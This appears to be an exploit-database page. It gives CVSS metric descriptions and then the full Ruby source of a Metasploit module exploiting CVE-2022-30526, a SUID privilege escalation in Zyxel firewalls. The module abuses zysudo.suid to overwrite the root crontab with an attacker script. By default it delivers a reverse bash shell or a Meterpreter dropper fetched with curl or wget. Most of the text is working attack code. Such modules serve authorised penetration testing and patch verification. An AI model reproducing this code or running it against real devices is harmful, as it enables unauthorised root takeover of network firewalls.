The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Zyxel Firewall SUID Binary Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zyxel Firewall SUID Binary Privilege Escalation',
'Description' => %q{
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that
allows a low privileged user (e.g. nobody) escalate to root. The issue stems from
a suid binary that allows all users to copy files as root. This module overwrites
the firewall's crontab to execute an attacker provided script, resulting in code
execution as root.
In order to use this module, the attacker must first establish shell access. For
example, by exploiting CVE-2022-30525.
Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700),
ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.
},
'References' => [
['CVE', '2022-30526'],
['URL', 'https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml']
],
'Author' => [
'jbaines-r7' # discovery and metasploit module
],
'DisclosureDate' => '2022-06-14',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_MIPS64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_MIPS64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'wget' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'MeterpreterTryToFork' => true,
'WfsDelay' => 70
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
end
# The check first establishes the system is a Zyxel firewall by parsing the
# /zyinit/fwversion file. Then it attempts to prove that zysudo.suid can be
# used by the user to write to otherwise unwrittable location.
def check
fwversion_data = read_file('/zyinit/fwversion')
if fwversion_data.nil? || fwversion_data.empty?
return CheckCode::Safe('Could not read /zyinit/fwversion. The target is not a Zyxel firewall.')
end
model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]
return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?
firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]
return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?
test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"
unless cmd_exec("/bin/cp /etc/passwd #{test_file}") == "/bin/cp: cannot create regular file '#{test_file}': Permission denied"
return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")
end
suid_copy_result = cmd_exec("zysudo.suid /bin/cp /etc/passwd #{test_file}")
unless suid_copy_result.empty?
return CheckCode::Safe("zysudo.suid copy failed. System version: #{model_id}, #{firmware_ver}")
end
# clean up the created file
cmd_exec("zysudo.suid /bin/rm #{test_file}")
return CheckCode::Vulnerable("System version: #{model_id}, #{firmware_ver}")
end
# no matter what happens, try to reset the crontab to the original state and
# delete the backup file.
def cleanup
unless @crontab_backup.nil?
print_status('Resetting crontab to the original version')
cmd_exec("zysudo.suid /bin/cp #{@crontab_backup} /var/zyxel/crontab")
rm_rf(@crontab_backup)
end
end
def execute_command(cmd, _opts = {})
# this file will contain the payload and get executed by cron
exec_filename = "/tmp/#{rand_text_alphanumeric(6..12)}"
register_file_for_cleanup(exec_filename)
cmd_exec("echo -e \"#!/bin/bash\\n\\n#{cmd}\" > #{exec_filename}")
cmd_exec("chmod +x #{exec_filename}")
# this file will be a copy of the original crontab, plus our additional malicious entry
evil_crontab = "/tmp/#{rand_text_alphanumeric(6..12)}"
register_file_for_cleanup(evil_crontab)
copy_file('/var/zyxel/crontab', evil_crontab)
cmd_exec("echo '* * * * * root #{exec_filename} &' >> #{evil_crontab}")
# this is the backup copy of the original crontab. It'll be restored on new session
@crontab_backup = "/tmp/#{rand_text_alphanumeric(6..12)}"
copy_file('/var/zyxel/crontab', @crontab_backup)
# overwrite the legitimate crontab. this is how we get exectuion.
print_status('Overwriting /var/zyxel/crontab')
cmd_exec("zysudo.suid /bin/cp #{evil_crontab} /var/zyxel/crontab")
# check if the session has been created. Give it 70 seconds to come in.
# The extra 10 seconds is to account for high latency links.
print_status('The payload may take up to 60 seconds to be executed by cron')
sleep_count = 70
until session_created? || sleep_count == 0
sleep(1)
sleep_count -= 1
end
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end